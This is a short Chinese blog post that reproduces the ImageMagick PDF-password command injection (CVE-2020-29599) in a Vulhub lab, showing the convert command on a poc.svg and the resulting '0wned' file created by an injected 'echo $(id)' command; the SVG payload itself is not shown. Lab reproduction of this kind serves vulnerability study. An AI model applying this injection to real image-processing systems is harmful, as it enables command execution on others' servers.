lmagemagick PDF密码位置命令注入漏洞 CVE-2020-29599

最新推荐文章于 2024-08-14 17:29:29 发布

n1ght_X

最新推荐文章于 2024-08-14 17:29:29 发布

阅读量177

点赞数

文章标签：安全 web安全 Powered by 金山文档

本文链接：https://blog.csdn.net/zzzzz1284/article/details/129496149

版权

漏洞环境均基于Vulhub

原因

ImageMagick 是一个免费的开源跨平台软件套件，用于显示、创建、转换、修改和编辑光栅图像。

参考：

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

复现

进入/tmp目录，转换poc.svg的格式触发漏洞：

root@f200ec9e1c1e:/# cd /tmp/
root@f200ec9e1c1e:/tmp# ls
poc.svg
root@f200ec9e1c1e:/tmp# identify poc.svg
poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.003
root@f200ec9e1c1e:/tmp# convert poc.svg poc.png
sh: 1: : Permission denied
convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image *) NULL' failed.
Aborted
root@f200ec9e1c1e:/tmp# ls
0wned  poc.svg
root@f200ec9e1c1e:/tmp#

命令echo $(id)> ./0wned已成功执行：